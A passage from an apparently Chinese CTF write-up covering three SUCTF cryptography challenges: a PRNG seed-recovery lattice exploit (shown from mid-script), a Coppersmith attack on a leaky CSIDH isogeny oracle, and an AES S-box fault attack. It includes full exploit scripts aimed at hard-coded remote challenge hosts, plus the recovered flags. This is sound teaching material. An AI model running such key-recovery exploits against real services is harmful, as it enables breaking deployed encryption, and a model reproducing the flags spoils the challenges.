                    for i in range(1, len(sets) - 1):
                        nxt = (a14 * ts[-1] + b0) & (MOD14 - 1)
                        if ((nxt >> 6) & 0xFF) not in sets[i + 1]:
                            ok = False
                            break
                        ts.append(nxt)
                    if ok:
                        key = tuple(ts)
                        if key not in seen:
                            seen.add(key)
                            out.append(ts)
    return out

def build_basis(a, n):
    a0 = a & MASK128
    A = (a0 + 1) & MASK128
    B = (-a0) & MASK128

    P = [0] * (n + 1)
    Q = [0] * (n + 1)
    P[1], Q[1] = 1, 0
    P[2], Q[2] = 0, 1
    for i in range(3, n + 1):
        P[i] = (A * P[i - 1] + B * P[i - 2]) & MASK128
        Q[i] = (A * Q[i - 1] + B * Q[i - 2]) & MASK128

    rows = []
    for i in range(3, n + 1):
        row = [0] * n
        row[0] = P[i]
        row[1] = Q[i]
        row[i - 1] = -1
        rows.append(row)

    row = [0] * n
    row[0] = MOD128
    rows.append(row)

    row = [0] * n
    row[1] = MOD128
    rows.append(row)

    mat = IntegerMatrix(n, n)
    trans = IntegerMatrix.identity(n)
    for i in range(n):
        for j in range(n):
            mat[i, j] = rows[i][j]

    LLL.reduction(mat, trans, delta=0.99, eta=0.501)

    red = sp.Matrix([[int(mat[i, j]) for j in range(n)] for i in range(n)])
    tr = sp.Matrix([[int(trans[i, j]) for j in range(n)] for i in range(n)])
    return P, Q, tr, red.inv()

def particular_solution(a, ts, xs, basis):
    P, Q, trans, inv_red = basis
    n = len(xs)
    a0 = a & MASK128
    A = (a0 + 1) & MASK128
    B = (-a0) & MASK128
    a142 = a & (MOD142 - 1)
    b14 = (ts[1] - ((a & (MOD14 - 1)) * ts[0])) & (MOD14 - 1)

    ds = [((a142 * ts[i] + b14 - ts[i + 1]) >> 14) & MASK128 for i in range(n - 1)]
    u = [((x & (MOD14 - 1)) ^ t) for x, t in zip(xs, ts)]

    delta = [(ds[i + 1] - ds[i]) & MASK128 for i in range(n - 2)]
    R = [0] * (n + 1)
    for i in range(3, n + 1):
        R[i] = (A * R[i - 1] + B * R[i - 2] + delta[i - 3]) & MASK128

    c = [
        (-R[i] - ((P[i] * u[0] + Q[i] * u[1] - u[i - 1]) << 114)) % MOD128
        for i in range(3, n + 1)
    ] + [0, 0]

    vec = trans * sp.Matrix(c)
    vec = sp.Matrix([center(int(v), MOD128) for v in vec])
    return [int(v) for v in (inv_red * vec)]

def lift_states(a, ts, xs, y0):
    n = len(xs)
    a0 = a & MASK128
    a1 = a >> 128

    u = [((x & (MOD14 - 1)) ^ t) for x, t in zip(xs, ts)]
    xhi = [x >> 14 for x in xs]

    lo = max(-y for y in y0)
    hi = min(TOP114 - 1 - y for y in y0)
    if lo > hi:
        return []

    base = lo
    ys0 = [y + base for y in y0]
    ls0 = [ts[i] + (ys0[i] << 14) for i in range(n)]
    b0 = (ls0[1] - a0 * ls0[0]) % MOD128

    carries = []
    for i in range(n - 1):
        tmp = a0 * ls0[i] + b0
        carries.append((tmp - ls0[i + 1]) >> 128)

    target = [
        (a1 * (ls0[i + 1] - ls0[i]) + carries[i + 1] - carries[i]) % MOD128
        for i in range(n - 2)
    ]

    cands = [0]
    for bit in range(114):
        mod = 1 << (15 + bit)
        mask = (1 << (bit + 1)) - 1
        am = (a0 + 1) % mod
        bm = a0 % mod
        want = [t % mod for t in target]
        ymask = [y & mask for y in y0]
        nxt = []

        for pref in cands:
            for add in (0, 1 << bit):
                T = pref | add
                hp = []
                for i in range(n):
                    yi = (ymask[i] + T) & mask
                    hp.append(u[i] | (((xhi[i] ^ yi) & mask) << 14))
                if all((hp[i + 2] - am * hp[i + 1] + bm * hp[i]) % mod == want[i] for i in range(n - 2)):
                    nxt.append(T)

        cands = sorted(set(nxt))
        if not cands:
            return []

    out = []
    for T in cands:
        ys = [y + T for y in y0]
        if not all(0 <= y < TOP114 for y in ys):
            continue

        states = []
        for i in range(n):
            lo128 = ts[i] + (ys[i] << 14)
            hi128 = u[i] + ((xhi[i] ^ ys[i]) << 14)
            states.append(lo128 + (hi128 << 128))

        b = (states[1] - a * states[0]) & MASK
        if all(((states[i + 1] - a * states[i]) & MASK) == b for i in range(n - 1)):
            out.append((states, b))
    return out

def recover_seed(a, b, state1, md5_hex):
    rhs = (state1 - b) & MASK
    g = math.gcd(a, MOD)
    if rhs % g:
        return None

    aa = a // g
    rr = rhs // g
    mod = MOD // g
    base = (rr * pow(aa, -1, mod)) % mod

    for k in range(g):
        seed = base + k * mod
        if hashlib.md5(str(seed).encode()).hexdigest() == md5_hex:
            return seed
    return None

def solve_instance(a, outs, md5_hex):
    if len(outs) != NOUT:
        raise SolveError(f"expected {NOUT} outputs")

    basis = build_basis(a, len(outs))
    for ts in mod14_paths(a, rotation_sets(outs)):
        rs = [t >> 6 for t in ts]
        xs = [rol(o, r) & MASK128 for o, r in zip(outs, rs)]
        y0 = particular_solution(a, ts, xs, basis)

        for states, b in lift_states(a, ts, xs, y0):
            seed = recover_seed(a, b, states[0], md5_hex)
            if seed is not None:
                return {"seed": seed, "b": b, "states": states, "rotations": rs}

    raise SolveError("solve failed")

def solve_text(text):
    a, outs, md5_hex = parse_transcript(text)
    t0 = time.time()
    res = solve_instance(a, outs, md5_hex)
    print(f"[+] recovered seed in {time.time() - t0:.3f}s")
    print(f"[+] seed = {res['seed']}")
    return res

def solve_remote(host, port):
    with socket.create_connection((host, port), timeout=180) as sock:
        text = recv_until(sock).decode(errors="replace")
        print(text, end="")
        res = solve_text(text)
        sock.sendall(f"{res['seed']}\n".encode())
        tail = recv_rest(sock).decode(errors="replace")
        if tail:
            print(tail, end="")
        return res

def parse_target(argv):
    if not argv:
        return DEFAULT_HOST, DEFAULT_PORT

    if len(argv) == 1:
        target = argv[0]
        if ":" in target:
            host, port = target.rsplit(":", 1)
            return host, int(port)
        return DEFAULT_HOST, int(target)

    if len(argv) == 2:
        return argv[0], int(argv[1])

    raise SolveError("usage: python exp.py [port] | [host port] | [host:port]")

def main():
    host, port = parse_target(sys.argv[1:])
    solve_remote(host, port)

if __name__ == "__main__":
    try:
        main()
    except SolveError as e:
        print(f"[!] SolveError: {e}", file=sys.stderr)
        sys.exit(1)

SU_Isogeny

题目核心函数是:

def cal(A, sk):
    E = EllipticCurve(F, [0, A, 0, 1, 0])
    for sgn in [1, -1]:
        for e, ell in zip(sk, pl):
            for i in range(sgn * e):
                while not (P := (p + 1) // ell * E.random_element()) or ell * P != 0:
                    pass
                E = E.isogeny_codomain(P)
        E = E.quadratic_twist()
    return E.montgomery_model().a2()

它的作用是:从 Montgomery 系数 A 对应的曲线出发,按秘密向量 sk 连续做一串同源,最后返回新的 Montgomery 系数。

服务端有三个关键接口:

  1. Get public key

    返回

  2. Get gift

    输入两个公钥,计算

    然后输出

  3. Get flag

    共享秘密为

    密钥为

    然后用 AES-ECB 加密 flag

整题的漏洞在 Get gift

if A != B:
    print("Illegal public key!")
print(f"Gift : {int(A) >> 200}")

即使输入的是非法公钥,只要 A != B,程序也只是打印一句 Illegal public key!,但仍然会把 A 的高位泄露出来。

这就把题目变成了一个静态高位 oracle:

只要我们自己构造合适的非法公钥,就能得到对应共享结果的高位。

接下来要判断该用论文里的哪一套公式。题目给的素数满足:

因此对应的是论文 https://eprint.iacr.org/2023/1409 里 Section 5.1 的 CSIDH 情形,所以应该使用 4-isogeny 邻居和三条双线性关系。

设某条曲线的 Montgomery 系数为 A,则它的两个 4-isogeny 邻居可以直接写成:

题目中先通过菜单 1 拿到:

然后计算 pkA 的两个 4-isogeny 邻居:

接着把这三个点都拿去问 gift:

  1. gift(pkA, pkB) 得到

    的高位

  2. gift(pkA_+, pkB) 得到

    的高位

  3. gift(pkA_-, pkB) 得到

    的高位

由于类群作用可交换,pkA 的 4-isogeny 邻居在经过 pvB 作用后,得到的 SS,SS_+,SS_- 之间仍然满足同样的 4-isogeny 关系。

设题目泄露的是高 311 位,未知的是低 200 位。于是可以写成:

其中 H_0,H_1,H_2 已知,而

是未知的小量。

论文中 CSIDH 的 Corollary 1 给出了三条关系:

(A,B,C) 分别替换成 (SS,SS_+,SS_-),再把高位代入常数项,就得到三元模方程组:

这三条式子总次数都是 2,未知量 x,y,z 的范围都是 2^200,因此正好可以套论文里的 automated-coppersmith。

这里使用的参数是:

  • i = 2
  • m = 6
  • 125 个 monomials
  • flatter 做格约化

于是会构造出一个 125 x 125 的 Coppersmith 格。

装了 flatter 以后,格约化时间基本十几秒就能完成。

恢复出 x 以后,就能拼回完整共享秘密:

然后再调用菜单 3 拿到密文。题目密钥派生方式已经在源码里写死了:

按这个方式恢复密钥后,直接 AES-ECB 解密即可得到 flag。

exp:

from sage.all import *
from random import randint, seed as random_seed
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import argparse
import os
import re
import shutil
import socket
import tempfile
import time

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
COPPERSMITH_DIR = os.path.join(SCRIPT_DIR, "vendor", "automated-coppersmith")

load(os.path.join(COPPERSMITH_DIR, "coppersmithsMethod.sage"))
load(os.path.join(COPPERSMITH_DIR, "optimalShiftPolys.sage"))

P = ZZ(
    5326738796327623094747867617954605554069371494832722337612446642054009560026576537626892113026381253624626941643949444792662881241621373288942880288065659
)
PL = list(prime_range(3, 374)) + [587]
F = GF(P)
UNKNOWN_BITS = 200
I = 2
DEFAULT_HOST = "1.95.115.179"
DEFAULT_PORT = 10017

def cal(a_coeff, secret_vector):
    curve = EllipticCurve(F, [0, a_coeff, 0, 1, 0])
    for sign in [1, -1]:
        for exponent, ell in zip(secret_vector, PL):
            for _ in range(sign * exponent):
                while True:
                    point = ((P + 1) // ell) * curve.random_element()
                    if point != curve(0) and ell * point == 0:
                        break
                curve = curve.isogeny_codomain(point)
        curve = curve.quadratic_twist()
    return ZZ(curve.montgomery_model().a2())

def neighbor_plus(a_coeff):
    return ZZ((2 * (a_coeff + 6) * inverse_mod(2 - a_coeff, P)) % P)

def neighbor_minus(a_coeff):
    return ZZ((2 * (a_coeff - 6) * inverse_mod(a_coeff + 2, P)) % P)

def leak_high_bits(public_key, secret_vector):
    return cal(public_key, secret_vector) >> UNKNOWN_BITS

def recover_shared_secret(high_base, high_plus, high_minus):
    base_msb = ZZ(high_base) << UNKNOWN_BITS
    plus_msb = ZZ(high_plus) << UNKNOWN_BITS
    minus_msb = ZZ(high_minus) << UNKNOWN_BITS

    ring = PolynomialRing(QQ, names=("x", "y", "z"), order="lex")
    x, y, z = ring.gens()

    f = (base_msb + x) * (plus_msb + y) + 2 * (base_msb + x) - 2 * (plus_msb + y) + 12
    g = (plus_msb + y) * (minus_msb + z) + 2 * (plus_msb + y) - 2 * (minus_msb + z) + 12
    h = (base_msb + x) * (minus_msb + z) - 2 * (base_msb + x) + 2 * (minus_msb + z) + 12

    polys = [f, g, h]
    bounds = [2**UNKNOWN_BITS, 2**UNKNOWN_BITS, 2**UNKNOWN_BITS]
    m = I * len(polys)
    monomials = list(set((prod(polys) ** I).monomials()))

    print(f"Constructing {len(monomials)} monomials with i={I}, m={m}.")
    shifts = constructOptimalShiftPolys(polys, monomials, P, m)
    print(f"Built {len(shifts)} shift polynomials.")

    cwd = os.getcwd()
    temp_dir = tempfile.mkdtemp(prefix="su-isogeny-")
    try:
        os.chdir(temp_dir)
        roots = coppersmithsMethod(shifts, P**m, bounds, verbose=True)
    finally:
        os.chdir(cwd)
        shutil.rmtree(temp_dir, ignore_errors=True)
    return int(base_msb + roots[0]), roots

def decrypt_flag(ciphertext, shared_secret):
    key = sha256(str(shared_secret).encode()).digest()
    return unpad(AES.new(key, AES.MODE_ECB).decrypt(ciphertext), 16)

class RemoteOracle:
    def __init__(self, host, port, connect_timeout, round_timeout):
        self.host = host
        self.port = port
        self.round_timeout = round_timeout
        self.sock = socket.create_connection((host, port), timeout=connect_timeout)
        self.sock.settimeout(1.0)
        self.buffer = ""

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass

    def send_line(self, line):
        self.sock.sendall(f"{line}\n".encode())

    def _recv_more(self, deadline):
        while time.time() < deadline:
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                continue
            if not chunk:
                raise EOFError("Remote closed the connection before returning enough data.")
            self.buffer += chunk.decode("utf-8", "replace")
            return
        raise TimeoutError(f"Timed out while waiting for remote output from {self.host}:{self.port}.")

    def wait_for(self, pattern):
        regex = re.compile(pattern, re.S)
        deadline = time.time() + self.round_timeout
        while True:
            match = regex.search(self.buffer)
            if match:
                value = match.group(1)
                self.buffer = self.buffer[match.end():]
                return value
            self._recv_more(deadline)

    def wait_for_many(self, patterns):
        regexes = [re.compile(pattern, re.S) for pattern in patterns]
        deadline = time.time() + self.round_timeout
        while True:
            matches = [regex.search(self.buffer) for regex in regexes]
            if all(matches):
                values = [match.group(1) for match in matches]
                self.buffer = self.buffer[max(match.end() for match in matches) :]
                return values
            self._recv_more(deadline)

    def get_public_keys(self):
        self.send_line("1")
        pk_a, pk_b = self.wait_for_many([r"pkA:\s*(\d+)", r"pkB:\s*(\d+)"])
        return int(pk_a), int(pk_b)

    def get_gift(self, pk_a, pk_b):
        self.send_line("2")
        self.send_line(str(pk_a))
        self.send_line(str(pk_b))
        return int(self.wait_for(r"Gift\s*:\s*(\d+)"))

    def get_ciphertext(self):
        self.send_line("3")
        return bytes.fromhex(self.wait_for(r"Here is your flag:\s*([0-9a-fA-F]+)"))

def collect_local_instance(fake_flag, seed_value):
    if seed_value is not None:
        random_seed(seed_value)

    secret_a = [randint(-5, 5) for _ in PL]
    secret_b = [randint(-5, 5) for _ in PL]

    pk_a = cal(0, secret_a)
    pk_b = cal(0, secret_b)
    shared_secret = cal(pk_a, secret_b)
    ciphertext = AES.new(
        sha256(str(shared_secret).encode()).digest(),
        AES.MODE_ECB,
    ).encrypt(pad(fake_flag, 16))

    pk_a_plus = neighbor_plus(pk_a)
    pk_a_minus = neighbor_minus(pk_a)

    return {
        "mode": "local",
        "pk_a": pk_a,
        "pk_b": pk_b,
        "pk_a_plus": pk_a_plus,
        "pk_a_minus": pk_a_minus,
        "gift_base": leak_high_bits(pk_a, secret_b),
        "gift_plus": leak_high_bits(pk_a_plus, secret_b),
        "gift_minus": leak_high_bits(pk_a_minus, secret_b),
        "ciphertext": ciphertext,
        "shared_secret": shared_secret,
        "expected_flag": fake_flag,
    }

def collect_remote_instance(host, port, connect_timeout, round_timeout):
    oracle = RemoteOracle(host, port, connect_timeout, round_timeout)
    try:
        pk_a, pk_b = oracle.get_public_keys()
        pk_a_plus = neighbor_plus(pk_a)
        pk_a_minus = neighbor_minus(pk_a)

        return {
            "mode": "remote",
            "pk_a": pk_a,
            "pk_b": pk_b,
            "pk_a_plus": pk_a_plus,
            "pk_a_minus": pk_a_minus,
            "gift_base": oracle.get_gift(pk_a, pk_b),
            "gift_plus": oracle.get_gift(pk_a_plus, pk_b),
            "gift_minus": oracle.get_gift(pk_a_minus, pk_b),
            "ciphertext": oracle.get_ciphertext(),
        }
    finally:
        oracle.close()

def run_attack(instance):
    recovered_secret, low_roots = recover_shared_secret(
        instance["gift_base"],
        instance["gift_plus"],
        instance["gift_minus"],
    )
    plaintext = decrypt_flag(instance["ciphertext"], recovered_secret)

    print(f"mode      : {instance['mode']}")
    print(f"pkA       : {instance['pk_a']}")
    print(f"pkB       : {instance['pk_b']}")
    print(f"pkA_plus  : {instance['pk_a_plus']}")
    print(f"pkA_minus : {instance['pk_a_minus']}")
    print(f"gift(base): {instance['gift_base']}")
    print(f"gift(+4)  : {instance['gift_plus']}")
    print(f"gift(-4)  : {instance['gift_minus']}")
    print(f"low roots : {list(low_roots)}")
    print(f"flag      : {plaintext.decode('utf-8', 'replace')}")

    if "shared_secret" in instance and recovered_secret != instance["shared_secret"]:
        raise RuntimeError("Recovered shared secret does not match the local oracle instance.")
    if "expected_flag" in instance and plaintext != instance["expected_flag"]:
        raise RuntimeError("Recovered plaintext does not match the local flag.")

    return plaintext

def main(default_mode="local"):
    parser = argparse.ArgumentParser(description="Local/remote exploit for the SU_Isogeny challenge.")
    parser.add_argument("--mode", choices=["local", "remote"], default=default_mode)
    parser.add_argument("--flag", default="FLAG{local_test_flag}", help="Fake local flag for validation.")
    parser.add_argument("--seed", type=int, default=None, help="Optional RNG seed for local mode.")
    parser.add_argument("--host", default=DEFAULT_HOST, help="Remote host for remote mode.")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Remote port for remote mode.")
    parser.add_argument("--connect-timeout", type=int, default=10, help="Connection timeout in seconds.")
    parser.add_argument("--round-timeout", type=int, default=240, help="Per remote round timeout in seconds.")
    args = parser.parse_args()

    try:
        if args.mode == "local":
            instance = collect_local_instance(args.flag.encode(), args.seed)
        else:
            instance = collect_remote_instance(args.host, args.port, args.connect_timeout, args.round_timeout)
        run_attack(instance)
    except (EOFError, OSError, TimeoutError) as exc:
        raise SystemExit(f"{args.mode} mode failed: {exc}")

if __name__ == "__main__":
    main()
sage -python solve.py --mode remote --host 110.42.47.116 --port 10001 --round-timeout 180"

2c5759675610522cd2edf1dabcb943ce

SUCTF{Actu41ly_th1s_iS_4_Pr0blem_7hat_w4s_s0lved_1n_2023_https://eprint.iacr.org/2023/1409}

SU_AES

题目信息

  • 远端服务会先给出一次 flag 的 ECB 密文,然后提供最多 300 次交互:
    1. change the S-box
    2. encrypt a message
    3. reset aes
    4. exit

最终解出的 flag 为:

SUCTF{Th3_K3y_15_1n_7h3_S_80x}

1. 源码分析

1.1 题目主逻辑

chal.py 的核心逻辑很简单:

seed = int.from_bytes(urandom(16))
key = int.from_bytes(urandom(16))
aes = AES(key, seed)
print(f'[+] Here is your flag ciphertext (in hex): {aes.encrypt_ecb(pad(flag, 16)).hex()}')

也就是说:

  • 初始实例有一个未知主密钥 key
  • 还有一个未知 seed
  • AES(key, seed) 会把标准 AES S-box 先按这个未知 seed 打乱,再用它做 key schedule

然后题目给了三种能力:

  1. 修改当前 S-box:change(s=..., k=None)
  2. 修改当前 key:change(s=None, k=...)
  3. reset 回到最初那组未知 (key, seed)

1.2 AES 实现里真正有问题的地方

AES.__init__() 里,初始 S-box 是这样生成的:

self.Sbox = [标准 AES S-box]
Random(seed).shuffle(self.Sbox)

这一步虽然把标准 S-box 打乱了,但本质上仍然是一个 置换,也就是 256 个值各出现一次。

真正的漏洞在 change()

def change(self, s=None, k=None):
    if s:
        self.Sbox = Random(s).choices(self.Sbox, k=len(self.Sbox))
    if k:
        self.change_key(k)

问题在于这里用了 Random(s).choices(...),不是 shuffle(...)

  • shuffle:无放回打乱,结果仍然是 permutation
  • choices:有放回抽样,结果会出现重复值,很多值会消失

这意味着一旦我们调用 change(s=...),当前 S-box 很可能就不再是置换,而是一个严重退化的映射

这题的核心就是利用这个退化。


2. 把 change(s) 写成“未知置换 + 已知映射”的形式

设初始未知 S-box 为 P

因为最开始只是:

Random(seed).shuffle(self.Sbox)

所以 P 只是标准 AES S-box 的某个未知置换版本。

现在看一次 change(s) 会发生什么。

Random(s).choices(self.Sbox, k=256) 的含义是:

  • 对每个位置 x in {0..255}
  • 用 seed s 决定一个被抽中的下标 I_s(x)
  • 新 S-box 的第 x 项等于旧 S-box 的第 I_s(x)

于是:

S_new[x] = S_old[I_s(x)]

如果当前 S_old = P,那么:

S_new = P o I_s

这里:

  • P:未知置换
  • I_s:由我们自己选择的 seed s 决定的已知函数 0..255 -> 0..255

如果连续做多次同一个 seed:

change(s), change(s), change(s), ...

那么 S-box 会变成:

P o I_s o I_s o ... o I_s = P o I_s^t

这就非常关键了。

因为 I_s 是一个定义在 256 个点上的有限函数图,它一定由若干个环和指向环的树组成。

如果我们找到一个 seed,使得 I_s 只有 一个环点,那不断迭代它,所有点最终都会汇入那个点。

也就是说,I_s^t 最终会变成常值函数

一旦 I_s^t 是常值函数,S-box 就直接塌成常值。


3. 搜索“能把 S-box 塌成常值”的 seed

3.1 搜索目标

我们希望找到某个 seed s,使得映射 I_s

  • 只有一个环点
  • 并且整棵函数图的最大深度尽量小

这样就能在较少的交互次数内,把当前 S-box 彻底塌成常值。

3.2 本地搜索结果

本地搜索后找到一个很好用的 seed:

s = 138188

它对应的 I_s 有如下性质:

  • 只有 1 个环点
  • 这个环点就是固定点 38
  • 最大树高为 18

因此:

I_138188^18(x) = 38      对所有 x 都成立

于是连续执行 18 次:

change(s=138188)

就有:

Sbox(x) = P[38]

整个 S-box 变成一个常值映射。

记这个常数为:

c = P[38]

4. 常值 S-box 下,AES 会退化成什么

这一部分是整道题最核心的原理。

4.1 常值 S-box 的效果

设当前 S-box 是:

S(x) = c

无论输入字节是什么,SubBytes 之后都会变成 c

也就是说,对任意 16 字节状态:

SubBytes(state) = 全 c 矩阵

然后:

  • ShiftRows 不会改变“全 c”状态
  • MixColumns 作用在每一列 [c,c,c,c] 上,结果仍然是 [c,c,c,c]

所以在每一轮里,只要经过一次 SubBytes,整个 state 就被“洗成全 c”。

4.2 为什么最终密文会变成 K10 xor c

设最后一轮轮密钥是 K10

在第 10 轮里:

  1. SubBytes 后:全是 c
  2. ShiftRows 后:还是全是 c
  3. AddRoundKey(K10) 后:每个字节变成 c xor K10[i]

所以最终密文是:

C = K10 xor c

这里的 c 是逐字节复制的常数。

更重要的是:

  • 这个结果与明文无关
  • 与前 9 轮里 state 如何变化也无关
  • 前面的复杂过程都被最后一轮 SubBytes 的“常值化”抹掉了

这就意味着:只要把 S-box 塌成常值,我们就能直接观察到最后一轮轮密钥。


5. 如何先恢复 c = P[38]

这里有一个小问题:

如果我们只是把 S-box 塌成常值,然后直接加密,那么拿到的是:

C = K10 xor c

其中 K10 还是未知的,不能直接把 c 分出来。

所以我们先走一步“可控 key”的路线。

5.1 关键细节:change(s, k) 的顺序

change() 里,执行顺序是:

if s:
    改 S-box
if k:
    用当前 S-box 重做 key schedule

这说明:

  1. 我们先连续 18 次 change(s=138188),把 S-box 塌成常值 c
  2. 然后执行一次 change(k=1),用这个常值 S-box 重算一个可控 key 的轮密钥

此时整个加密过程只依赖于:

  • 常数 c
  • 我们自己选定的 key 1

于是对于每个 c in {0..255},都能本地预计算:

F(c) = Enc_const_sbox(c, key=1, msg=pad(b""))

这里消息取空串,是因为题目在 encrypt 时会先做 pad(msg, 16),所以空串会变成一个完整的 0x10 * 16 块。

5.2 F(c) 是可逆的

本地枚举 c=0..255 后可以发现:

  • 这 256 个输出互不相同
  • 因此 F(c) 是一一对应的

于是只需要:

  1. 塌缩常值 S-box
  2. change(k=1)
  3. encrypt("")

就能根据返回的密文,查表恢复:

c = P[38]

6. 如何恢复原始实例的最后一轮轮密钥 K10

现在我们已经知道:

c = P[38]

接下来:

  1. reset
  2. 再次连续 18 次 change(s=138188),把 S-box 塌成常值
  3. 这一次不要改 key
  4. 直接 encrypt("")

因为这次轮密钥仍然是最初那组未知 (key, P) 生成出来的原始轮密钥,所以返回的是:

C = K10 xor c

于是:

K10 = C xor c

这样我们就直接拿到了原始实例完整的 16 字节最后一轮轮密钥。

这一步是整道题最大的突破点。


7. 只做一次 change(s_i) 时,我们能得到什么

恢复 K10 之后,还差两样东西:

  • 原始未知 S-box P
  • 原始主密钥 key

现在考虑每次 reset 后,只做一次:

change(s_i)

设这个 seed 对应的已知函数为 I_i

那么当前 S-box 是:

S_i = P o I_i

记:

T_i = Im(I_i)

因为 P 是置换,所以当前 S-box 的像集就是:

Im(S_i) = P(T_i)

这很重要,因为:

  • T_i 完全由我们选的 seed 决定,是已知的
  • P(T_i) 就是“已知集合经过未知置换后的结果”

如果我们能把很多个这样的 P(T_i) 都拿到,就有机会反推出整个未知置换 P


8. 如何观测到 P(T_i)

8.1 最后一轮能看到的集合

对任意一次加密,最后一轮某个字节位置 j 的密文满足:

C_j = S_i(z_j) xor K10[j]

其中 z_j 是最后一轮 SubBytes 之前的那个字节。

由于 S_i 的值域就是 P(T_i),所以:

C_j xor K10[j] ∈ P(T_i)

也就是说,只要我们知道 K10,就能把观测到的密文字节“平移回去”,得到 P(T_i) 里的元素。

8.2 实际做法

在远端我们采用如下做法:

  1. reset
  2. change(s_i)
  3. 发送一条很长的随机消息,一次性让服务加密几百个 block
  4. 收集所有密文字节
  5. 对每个位置 j 都做 byte xor K10[j]
  6. 把所有 block、所有位置的结果做并集

得到的集合记为:

M_i

理论上它一定满足:

M_i ⊆ P(T_i)

而在本地随机实例和远端实测中,只要给 512 个随机 block 左右,M_i 就会稳定等于完整的:

M_i = P(T_i)

这一步依赖的是:

  • AES 的扩散很强
  • 我们一次查询就能拿到非常多的样本
  • 需要的只是“值域并集”,不是精确分布

在这题里,这个方法非常稳定,远端一次成功。


9. 用“集合签名”恢复整张未知 S-box P

这一部分是第二个核心原理。

9.1 签名的想法

我们知道:

M_i = P(T_i)

于是对于任意输入下标 x,以及对应的输出值 y = P(x),有:

x ∈ T_i    <=>    P(x) ∈ P(T_i)    <=>    y ∈ M_i

所以:

  • 输入下标 x 在各个 T_i 中的成员关系
  • 输出值 P(x) 在各个 M_i 中的成员关系

这两个“签名”是完全相同的。

9.2 我们需要什么样的 seed 集合

只要我们选出足够多组 T_i,使得 256 个输入下标的成员签名都互不相同,就能唯一匹配每个 P(x)

本地用贪心搜索,可以找到这样一组 seed:

SIG_SEEDS = [446, 439, 213, 274, 20, 262, 280, 140, 236, 256, 50, 2]

对于这些 seed,对每个 x in {0..255} 定义输入签名:

sig_in(x) = [ x∈T_1, x∈T_2, ..., x∈T_12 ]

可以验证:

256 个 sig_in(x) 全都不同

9.3 如何匹配

远端拿到所有 M_i 之后,对每个输出字节值 y 定义:

sig_out(y) = [ y∈M_1, y∈M_2, ..., y∈M_12 ]

因为 y = P(x) 时:

sig_out(y) = sig_in(x)

所以只要把 sig_out(y) 映射回对应的 x,就能恢复:

P(x) = y

最终整张 256 字节 S-box 全部恢复。

这一步不需要爆破,不需要解方程,只是一个非常漂亮的“集合成员签名匹配”。


10. 有了 PK10,如何恢复主密钥

题目里的 key schedule 在 AES.py 中写得很清楚:

if i % 4 == 0:
    temp = [
        self.round_keys[i - 4][0] ^ self.Sbox[self.round_keys[i - 1][1]] ^ Rcon[i // 4],
        self.round_keys[i - 4][1] ^ self.Sbox[self.round_keys[i - 1][2]],
        self.round_keys[i - 4][2] ^ self.Sbox[self.round_keys[i - 1][3]],
        self.round_keys[i - 4][3] ^ self.Sbox[self.round_keys[i - 1][0]],
    ]
else:
    temp = [
        self.round_keys[i - 4][j] ^ self.round_keys[i - 1][j] for j in range(4)
    ]

如果把每 4 字节看成一个 word w_i,那么 forward 形式就是:

w_i = w_{i-4} xor w_{i-1}                    (i mod 4 != 0)
w_i = w_{i-4} xor g(w_{i-1})                (i mod 4 == 0)

其中 g() 用到了:

  • 轮常量 Rcon
  • 我们刚刚恢复出来的 S-box P

而我们已经知道最后四个 word,也就是:

w_40, w_41, w_42, w_43

因为它们就是 K10

于是可以直接反推:

w_{i-4} = w_i xor w_{i-1}                   (i mod 4 != 0)
w_{i-4} = w_i xor g(w_{i-1})               (i mod 4 == 0)

一路从 w_43 反推回 w_0..w_3,就拿到了主密钥。

这是一个完全确定的过程,不需要猜测。


11. 最终解密 flag

恢复出:

  • 原始主密钥 key
  • 原始未知 S-box P

之后,整套 AES 参数就都齐了。

但题目代码里只实现了 encrypt,没有实现 decrypt,所以在利用脚本里手写了逆过程:

  • InvShiftRows
  • InvMixColumns
  • InvSubBytes,其中逆 S-box 就是 P 的逆置换

再对最开始服务给出的 flag ECB 密文逐块解密、去 PKCS#7 padding,就得到明文 flag。


12. 交互次数为什么足够

题目总共允许 300 次交互。

我们的利用开销如下:

12.1 恢复 c = P[38]

  • 18 次 change(s=138188)
  • 1 次 change(k=1)
  • 1 次 encrypt
  • 1 次 reset

共:

21 次

12.2 恢复原始 K10

  • 18 次 change(s=138188)
  • 1 次 encrypt
  • 1 次 reset

共:

20 次

12.3 恢复整张 S-box

我们使用 12 个签名 seed,每个 seed 需要:

  • 1 次 change(s_i)
  • 1 次 encrypt
  • 1 次 reset

所以:

12 * 3 = 36 次

12.4 总计

21 + 20 + 36 = 77 次

远低于上限 300

所以这条路不仅可行,而且余量很大。


13. 远端实现时的一个坑

远端有个很坑的小细节。

源码是:

s = int(input('[x] your seed: ') or 0, 16) or None
k = int(input('[x] your key: ') or 0, 16) or None

按直觉,如果不想修改某个参数,应该直接发空行。

但这里空行会触发:

int(0, 16)

从而抛出 TypeError,把服务直接打崩。

所以脚本里必须发送字符串:

0

来表示“不修改这个参数”。

这一点在远端实测时必须注意。


14. 利用流程总结

完整攻击流程可以概括为:

  1. 利用 choices()change(s) 写成 P o I_s
  2. 搜索一个只有单环点的 I_s
  3. 重复 18 次 change(138188),把 S-box 塌成常值 c = P[38]
  4. 用可控 key 的查表方式恢复 c
  5. 再塌一次常值 S-box,但保留原始轮密钥,恢复原始 K10
  6. 对若干个一步 fault S_i = P o I_i,通过长消息采样拿到 P(T_i)
  7. 用集合成员签名恢复整张未知 S-box P
  8. PK10 逆 key schedule,恢复原始主密钥
  9. 手写 AES 逆过程,解密最初给出的 flag 密文

这题的精华在于两点:

  • choices() 让“修改 S-box”从 permutation 退化成了可控函数复合
  • 常值 S-box 让最后一轮轮密钥直接泄露

后面的恢复整张 S-box 和逆 key schedule,都是建立在这两个突破点之上的。


15. 脚本

#!/usr/bin/env python3
import re
import socket
import sys
from random import Random

from AES import AES, Rcon, matrix2text, text2matrix

HOST = "1.95.115.179"
PORT = 10002

# Repeating this seed 18 times collapses the current S-box to the constant P[38].
CONST_SEED = 138188
CONST_DEPTH = 18
CONST_INDEX = 38
KNOWN_KEY = 1

# These one-step faults separate all 256 input indices by membership signatures.
SIG_SEEDS = [446, 439, 213, 274, 20, 262, 280, 140, 236, 256, 50, 2]

# 512 random blocks are enough in local tests; we also use all 16 byte positions.
DATA_BLOCKS = 512

